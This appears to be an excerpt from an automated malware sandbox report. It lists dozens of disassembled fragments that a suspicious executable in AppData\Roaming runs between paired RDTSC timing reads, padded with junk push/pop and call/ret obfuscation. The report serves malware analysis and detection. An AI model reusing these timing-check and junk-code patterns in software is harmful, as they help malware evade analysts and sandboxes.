Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA64F9 second address: CA6503 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA6EF1 second address: CA6EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA6503 second address: CA6509 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA809D second address: CA80A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA6EF5 second address: CA6F06 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA6509 second address: CA650D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: C5EF6F second address: C5EF9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push edi 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edi 0x0000000b jmp 00007FF888DC1EA7h 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007FF888DC1E96h 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA8DF1 second address: CA8DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAB79C second address: CAB7A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CA8DF5 second address: CA8DFB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAC2FC second address: CAC31F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push edx 0x0000000b pop edx 0x0000000c jmp 00007FF888DC1EA6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAC8B1 second address: CAC92B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dword ptr [esp], eax 0x00000008 mov ebx, dword ptr [ebp+122D2B30h] 0x0000000e push 00000000h 0x00000010 push 00000000h 0x00000012 push ebp 0x00000013 call 00007FF88929ECB8h 0x00000018 pop ebp 0x00000019 mov dword ptr [esp+04h], ebp 0x0000001d add dword ptr [esp+04h], 00000014h 0x00000025 inc ebp 0x00000026 push ebp 0x00000027 ret 0x00000028 pop ebp 0x00000029 ret 0x0000002a mov edi, dword ptr [ebp+122D258Dh] 0x00000030 clc 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push eax 0x00000036 call 00007FF88929ECB8h 0x0000003b pop eax 0x0000003c mov dword ptr [esp+04h], eax 0x00000040 add dword ptr [esp+04h], 00000018h 0x00000048 inc eax 0x00000049 push eax 0x0000004a ret 0x0000004b pop eax 0x0000004c ret 0x0000004d mov edi, dword ptr [ebp+122D2DF0h] 0x00000053 mov ebx, dword ptr [ebp+122D2AE4h] 0x00000059 jnp 00007FF88929ECBEh 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jnl 00007FF88929ECB8h 0x00000068 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAC92B second address: CAC943 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAD8A4 second address: CAD8F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF88929ECC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FF88929ECC7h 0x0000000f pop eax 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FF88929ECC7h 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CACBA2 second address: CACBA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAF977 second address: CAF9F0 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF88929ECBCh 0x00000008 jp 00007FF88929ECB6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007FF88929ECC8h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b jmp 00007FF88929ECBEh 0x00000020 popad 0x00000021 nop 0x00000022 ja 00007FF88929ECBCh 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push ecx 0x0000002d call 00007FF88929ECB8h 0x00000032 pop ecx 0x00000033 mov dword ptr [esp+04h], ecx 0x00000037 add dword ptr [esp+04h], 00000019h 0x0000003f inc ecx 0x00000040 push ecx 0x00000041 ret 0x00000042 pop ecx 0x00000043 ret 0x00000044 mov bx, 705Bh 0x00000048 push 00000000h 0x0000004a xchg eax, esi 0x0000004b pushad 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAEAF9 second address: CAEB0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA0h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAF9F0 second address: CAF9F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAF9F4 second address: CAFA35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1EA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a je 00007FF888DC1E96h 0x00000010 jno 00007FF888DC1E96h 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FF888DC1EA1h 0x00000021 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAFA35 second address: CAFA3E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB09C1 second address: CB09CB instructions: 0x00000000 rdtsc 0x00000002 jp 00007FF888DC1E96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAFBCE second address: CAFBE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b jmp 00007FF88929ECBDh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB09CB second address: CB09E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1EA2h 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAFBE8 second address: CAFBED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CAFBED second address: CAFC7C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 mov ebx, dword ptr [ebp+122D3718h] 0x0000000f mov edi, dword ptr [ebp+122D2C50h] 0x00000015 push dword ptr fs:[00000000h] 0x0000001c and bl, 0000005Bh 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007FF888DC1E98h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 00000014h 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 xor dword ptr [ebp+122D2492h], edi 0x00000046 pushad 0x00000047 mov dword ptr [ebp+122D1AC2h], edi 0x0000004d mov si, 73BCh 0x00000051 popad 0x00000052 mov eax, dword ptr [ebp+122D1215h] 0x00000058 pushad 0x00000059 mov ecx, 7A7FBF50h 0x0000005e ja 00007FF888DC1E98h 0x00000064 popad 0x00000065 push FFFFFFFFh 0x00000067 movsx edi, bx 0x0000006a nop 0x0000006b jmp 00007FF888DC1EA9h 0x00000070 push eax 0x00000071 push eax 0x00000072 push edx 0x00000073 push ebx 0x00000074 push ecx 0x00000075 pop ecx 0x00000076 pop ebx 0x00000077 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1A1F second address: CB1A23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1A23 second address: CB1A29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1A29 second address: CB1AA4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF88929ECBCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push eax 0x00000010 call 00007FF88929ECB8h 0x00000015 pop eax 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a add dword ptr [esp+04h], 00000015h 0x00000022 inc eax 0x00000023 push eax 0x00000024 ret 0x00000025 pop eax 0x00000026 ret 0x00000027 or di, 4006h 0x0000002c mov edi, dword ptr [ebp+12470CF6h] 0x00000032 mov di, si 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push ebp 0x0000003a call 00007FF88929ECB8h 0x0000003f pop ebp 0x00000040 mov dword ptr [esp+04h], ebp 0x00000044 add dword ptr [esp+04h], 00000015h 0x0000004c inc ebp 0x0000004d push ebp 0x0000004e ret 0x0000004f pop ebp 0x00000050 ret 0x00000051 mov dword ptr [ebp+122D2713h], edi 0x00000057 push 00000000h 0x00000059 jp 00007FF88929ECB8h 0x0000005f xchg eax, esi 0x00000060 push eax 0x00000061 push edx 0x00000062 jmp 00007FF88929ECBBh 0x00000067 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1AA4 second address: CB1AAE instructions: 0x00000000 rdtsc 0x00000002 jng 00007FF888DC1E9Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1AAE second address: CB1AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push ecx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1AB9 second address: CB1ABF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB0B92 second address: CB0B98 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB2A51 second address: CB2A63 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FF888DC1E9Eh 0x00000009 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB2A63 second address: CB2A86 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FF88929ECC1h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1C08 second address: CB1C0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1C0C second address: CB1C16 instructions: 0x00000000 rdtsc 0x00000002 js 00007FF88929ECB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1C16 second address: CB1C1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1C1C second address: CB1C20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB1C20 second address: CB1C39 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnp 00007FF888DC1E96h 0x00000012 jnp 00007FF888DC1E96h 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB47DD second address: CB47E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FF88929ECB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB57A8 second address: CB57BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB57BE second address: CB57C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB49C9 second address: CB49CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB49CD second address: CB49D8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB8A2B second address: CB8A4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF888DC1E9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b je 00007FF888DC1EA2h 0x00000011 jc 00007FF888DC1E9Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB7AE7 second address: CB7AEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB7AEC second address: CB7AF2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CB7AF2 second address: CB7AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CBAA11 second address: CBAA30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jg 00007FF888DC1E96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FF888DC1EA1h 0x00000013 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CBB018 second address: CBB04F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 mov edi, 2538BC5Ch 0x0000000b push 00000000h 0x0000000d mov di, cx 0x00000010 push 00000000h 0x00000012 add dword ptr [ebp+122D2F96h], edi 0x00000018 mov edi, dword ptr [ebp+122D2D64h] 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007FF88929ECC4h 0x00000028 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CBB04F second address: CBB055 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CBC119 second address: CBC11D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CBC11D second address: CBC127 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CBB220 second address: CBB224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CBB224 second address: CBB25C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FF888DC1EA4h 0x0000000c pop edx 0x0000000d popad 0x0000000e push eax 0x0000000f pushad 0x00000010 push edx 0x00000011 jmp 00007FF888DC1E9Fh 0x00000016 pop edx 0x00000017 jbe 00007FF888DC1E9Ch 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CBB25C second address: CBB2F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push dword ptr fs:[00000000h] 0x0000000d mov ebx, dword ptr [ebp+122D27F5h] 0x00000013 mov dword ptr fs:[00000000h], esp 0x0000001a jl 00007FF88929ECBCh 0x00000020 mov dword ptr [ebp+1247663Dh], ebx 0x00000026 mov eax, dword ptr [ebp+122D097Dh] 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007FF88929ECB8h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 push FFFFFFFFh 0x00000048 push 00000000h 0x0000004a push eax 0x0000004b call 00007FF88929ECB8h 0x00000050 pop eax 0x00000051 mov dword ptr [esp+04h], eax 0x00000055 add dword ptr [esp+04h], 00000019h 0x0000005d inc eax 0x0000005e push eax 0x0000005f ret 0x00000060 pop eax 0x00000061 ret 0x00000062 mov dword ptr [ebp+1244FE6Ah], esi 0x00000068 push eax 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c jmp 00007FF88929ECC8h 0x00000071 jmp 00007FF88929ECBBh 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC4C33 second address: CC4C5E instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FF888DC1EB4h 0x00000008 jmp 00007FF888DC1EA8h 0x0000000d jl 00007FF888DC1E96h 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC4302 second address: CC4322 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FF88929ECC8h 0x0000000d rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC4322 second address: CC4326 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC45D1 second address: CC45D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC45D5 second address: CC45E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007FF888DC1E9Eh 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC45E5 second address: CC45F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FF88929ECBEh 0x0000000b rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC45F9 second address: CC462A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FF888DC1EA4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FF888DC1EA2h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC462A second address: CC4641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FF88929ECBCh 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC4641 second address: CC4645 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC47A2 second address: CC47A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC47A6 second address: CC47AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CC47AC second address: CC47D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push ebx 0x00000008 jne 00007FF88929ECD2h 0x0000000e jmp 00007FF88929ECC6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CCADE5 second address: CCADE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CCAEF4 second address: CCAF12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF88929ECC3h 0x00000009 popad 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ebx 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CCAF12 second address: CCAF21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CCAF21 second address: CCAF26 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CCAF26 second address: CCAF2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD0D10 second address: CD0D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FF88929ECB6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD0D1C second address: CD0D2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jng 00007FF888DC1E96h 0x0000000f rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD1131 second address: CD1135 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\RoamingKJEGDBKFIJ.exe RDTSC instruction interceptor: First address: CD1135 second address: CD1157 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FF888DC1EA8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e pop esi 0x0000000f rdtsc
